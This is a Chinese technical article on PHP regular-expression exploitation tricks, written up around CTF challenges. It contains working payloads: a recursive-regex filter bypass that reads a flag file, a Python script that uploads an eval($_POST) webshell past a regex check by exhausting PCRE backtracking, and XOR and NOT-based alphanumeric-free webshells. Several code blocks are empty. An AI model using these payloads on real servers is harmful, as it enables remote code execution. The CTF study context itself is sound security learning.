浅析PHP正则表达式的利用技巧

正则表达式是什么

正则表达式(regular expression)描述了一种字符串匹配的模式（pattern），可以用来检查一个串是否含有某种子串、

将匹配的子串替换或者从某个串中取出符合某个条件的子串等。包括普通字符（例如，a 到 z 之间的字母）和特殊字符（称为"元字符"）。

另外正则引擎主要可以分为基本不同的两大类：一种是DFA(确定性有穷自动机），另一种是NFA（非确定性有穷自动机）。

在NFA中由于表达式主导的串行匹配方式，所以用到了回溯（backtracking），这个是NFA最重要的部分，每一次某个分支的匹配失败都会导-致一次回溯。

DFA没有回溯，因此看起来在某些情况下会比NFA来得更快，但是在真正使用中，DFA需要进行预编译才能获得更好效果，

因为DFA的匹配方式需要更多的内存和时间，在第一次遇到正则表达式时需要比NFA详细得多的方法来分析这个表达式，

不过可以预先把对不同正则表达式的分析结果建好，DFA就可以获得比NFA更优的速度。

虽然NFA速度更慢，并且实现复杂，但是它又有着比DFA强大的多的功能，比如支持环视，支持反向引用（虽然这个是非正则的）等，

因此大多数程序语言都使用了NFA作为正则引擎，其中也包括PHP使用的PCRE库。

0x02 扩展表示法

扩展表示是以问号开始（?…）,通常用于在判断匹配之前提供标记，实现一个前视（或者后视）匹配，或者条件检查。

尽管圆括号使用这些符号，但是只有（?P<name>）表述一个分组匹配。

正则表达式 | 匹配字符串  -----------| --------- (?:w+.)* | 以句点作为结尾的字符串，例如“google.”、“twitter.”、“facebook.”，但是这些匹配不会保存下来供后续的使用和数据检索 (?=.com)   | 如果一个字符串后面跟着“.com”才做匹配操作，并不使用任何目标字符串 (?!.net)   |如果一个字符串后面不是跟着“.net”才做匹配操作 (?<=800-)  |如果字符串之前为“800-”才做匹配，假定为电话号码，同样，并不使用任何输入字符串 (?<!192.168.) |如果一个字符串之前不是“192.168.”才做匹配操作，假定用于过滤掉一组 C 类 IP 地址 (?(1)y|x)  |如果一个匹配组 1（1）存在，就与 y 匹配；否则，就与 x 匹配(((?>[^()]+)|(?R))* ) | 进行循环匹配

循环匹配探索

在上述的扩展表达式中有一个循环模式， 特殊项(?R)提供了递归的这种特殊用法，在PRCE模式中，考虑匹配圆括号内字符串的问题，

允许无限嵌套括号。如果不使用递归， 最好的方式是使用一个模式匹配固定深度的嵌套。

这个PCRE模式解决了圆括号问题(假设 PCRE_EXTENDED 选项被设置了， 因此空白字符被忽略)：( ( (?>[^()]+) | (?R) )* )。

IN:

<?php

OUT:

int(1) string(0) "" string(3) "abc"

从以上的输出结果，可以明显的发现，'/((?R)*)/'这个正则表达式，进行自身循环匹配。

从一道ctf题浅析利用

题目的名字为easy – phplimit，是p神出的一个练习代码审计的题目。源码如下：

<?php

第二部分也提到了，这个正则是对'()'的一种循环匹配，"';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])"这关系式的意思是，

从code参数中，匹配匹配字母、数字、下划线，其实就是'w+'，然后在匹配一个循环的'()'，将匹配的替换为NULL，判断剩下的是否只有';'。

于是就开始翻阅[手册]http://www.php.net/manual)，这个真的是好东西。以下是对这一块的探究：

自搭建环境测试

getcwd(): 获取当前路径IN:?code=print_r(getcwd());OUT:A:toolsphpStudyWWWstudydirname(): 返回路径中的目录部分  IN:  ?code=print_r(dirname(getcwd()));OUT:A:toolsphpStudyWWW

这里对dirname($path)进行一个解释：该函数的返回值为，返回path的父目录。如果在 path中没有斜线，则返回一个点('.')，

表示当前目录，因此此处为父目录'A:toolsphpStudyWWW'，后面使用chdir时是当前目录。

chdir(): 改变工作目录 IN: ?code=print_r(chdir(getcwd())); OUT:1成功返回1(true) get_defined_vars(): 返回由所有已定义变量所组成的数组 IN: ?test=1&code=print_r(get_defined_vars()); OUT:Array([_GET] => Array ( [test] => 1  => print_r(get_defined_vars()); ) [_POST] => Array ( ) [_COOKIE] => Array() ) [_FILES] => Array ( ) [a] => Array()....

探测到目录与文件情况后就可以进行构造payload

=>获得路径为/var/html ?code = print_r(getcwd());=>查看路径下内容没有可用的 ?code = print_r(scandir(getcwd()))=>探测上一级为Array ( [0] => . [1] => .. [2] => flag_phpbyp4ss [3] => html ) ?code = print_r(scandir(dirname(getcwd())))=>发现flag文件，进行读取 ?code = readfile(next(array_reverse(scandir(dirname(getcwd())))))=>发现报错，不存在flag_phpbyp4ss文件，更改工作目录 ?code = readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))))

会发现最后的payload多了一个dirname()，原因是因为dirname()中的path没有斜线就会返回本路径，不会影响最后结果。

另外在RCTF中，r-cursive中也用到了这个知识点，官方的解使用eval(implode(getallheaders()))，执行返回的HHTP头内的信息，更改头部信息加上cmd: phpinfo();// 达到命令执行。

但是该题目中却不可以，由于环境不同apache模块的函数不能在ngnix中执行，参照大佬们的思路，利用get_defined_vars()执行GET的参数

payload为：

?1=readfile(../flag_phpbyp4ss);&code=eval(implode(reset(get_defined_vars())));

php回溯机制

前面我们已经说到了PHP使用PCRE库，那么正则引擎就是DFA(确定性有穷自动机），使用回溯的方式进行匹配，

大致过程就是在对一个字符串进行匹配时，如果匹配失败吐出一个字符，然后再进行匹配，如果依然失败，重复上面操作.....

举一个例子，更详细的阐述：

<?phppreg_match('/<?.*[(`;?>].*/','<?php phpinfo();//abc');

过程：

<?.* => <?php phpinfo();//abc<?.*[(`;?>] => <?php phpinfo();//ab<?.*[(`;?>] => <?php phpinfo();//a<?.*[(`;?>] => <?php phpinfo();//<?.*[(`;?>] => <?php phpinfo();/ <?.*[(`;?>] => <?php phpinfo(); <?.*[(`;?>] => <?php phpinfo() <?.*[(`;?>] => <?php phpinfo(); <?.*[(`;?>].* => <?php phpinfo();//abc

可以发现这其中存在一个回溯过程，首先<?.直接把所有的匹配完成，使得.后面至少有一个[(`;?>].*没有完成匹配，

因此就向前匹配，知道匹配成功（到phpinfo()后面的;）。

使用php的pcre.backtrack_limit限制绕过

当然在上面那个匹配中不可能一直回溯，那这样就会消耗服务器资源，就形成了正则表达式的拒绝服务攻击，因此php就有了限制回溯的机制

IN:
<?php
var_dump(ini_get('pcre.backtrack_limit'));
var_dump(preg_match('/<?.[(`;?>]./is', '<?php phpinfo();//'.str_repeat('c', 999995)));

OUT:
string(7) "1000000" bool(false)

在这个点上p师傅出过一道题目，源码如下：

<?phpfunction is_php($data){return preg_match('/<?.*[(`;?>].*/is', $data); }if(empty($_FILES)) {die(show_source(__FILE__)); }$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);$data = file_get_contents($_FILES['file']['tmp_name']);if (is_php($data)) {echo "bad request"; } else { @mkdir($user_dir, 0755);$path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path); header("Location: $path", true, 303);  }

payload：

import requestsfrom io import BytesIO  files = {'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)  }   res = requests.post('http://IP/index.php', files=files, allow_redirects=False)  print(res.headers)

关键点就是，is_php($data)要为false，也就是preg_match('/<?.*[(;?>].*/is', $data);`为false，根据preg_match函数的性质，

如果匹配不到或者$data为数组，那么返回为false。当然数组是不可能的，因为file_get_contents函数是将内容读入$data中，

那么就考了匹配不了这种情况，因为上面我们发现，当超过最好回溯限制式将返回false，因为利用这一个点进行突破。

使用无字母数字方式绕过

这是以一个题目引发的，之前看过P师傅的讲解，

很是收益。先膜一波，然后具体地解析一下代码。

<?php

对于这个正则表达式，很显然，把数字大小写字母全部过滤了，因为shell无法直接命令执行。在p神的博客中提到三种方法，

方法一：使用异或

 <?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);

对上面的payload这里做出具体解释：

IN:

<?php

OUT:

0/34

可以发现'P''S''T'这三个字母异或出来是数字，所以与']'异或一下，最终为：

IN:

<?php

OUT:

%01%13%13%05%12%14%0D%2F%0E%09

这样得到了异或需要的值，然后我们看一下代码的具体操作，首先是先进行异或，字符连接得到'assert'，也就是$_变量，然后按照相同办法得到'_POST'，接下来就是组装。

方法二：使用取反

<?php

上面看起来就没有头绪，这里我简单说明一下。

在ｐ师傅的这篇文章中可以发现：

IN:

<?php

OUT:

s

后来在我的尝试下，发现在php7以下都会报一个错误：syntax error, unexpected '{' in 1.php on line 3，但是换一种写法就可以

<?php

这里先记下来了，解析一下这语句的意思，(''{})来输出汉字的UTF-8编码的某个字符，另外记录一个小知识点：

IN:

<?php

OUT:

e5928c%E5%92%8C

可以发现utf-8编码与与Url编码的关系，了解了这些后，针对于怎么得到payload写了如下程序：

IN:

<?php

OUT:

array(9) { [0]=> string(3) "瞰" [1]=> string(3) "和" [2]=> string(3) "的" [3]=> string(3) "不" [4]=> string(3)

"看" [5]=> string(3) "俯" [6]=> string(3) "瞰" [7]=> string(3) "次" [8]=> string(3) "站" }

找到需要是要的汉字，开始后构造payload(payload在开头已经给出了，简单说一下自己的理解)：

<?php$__=('>'>'<')+('>'>'<');// 这里是true+true=2$_=$__/$__;// 这里2/2=1$___="瞰";$____.=~($___{$_});// 获得'a'字母$_=$$_____;// $_____为连接而成的'_POST'，$_为$_ POST$____($_[$__]);// 最终为assert($_POST[2])

以上有错误的地方希望，各位师傅能够指正

本文始发于微信公众号（疯猫网络）：浅析PHP正则表达式的利用技巧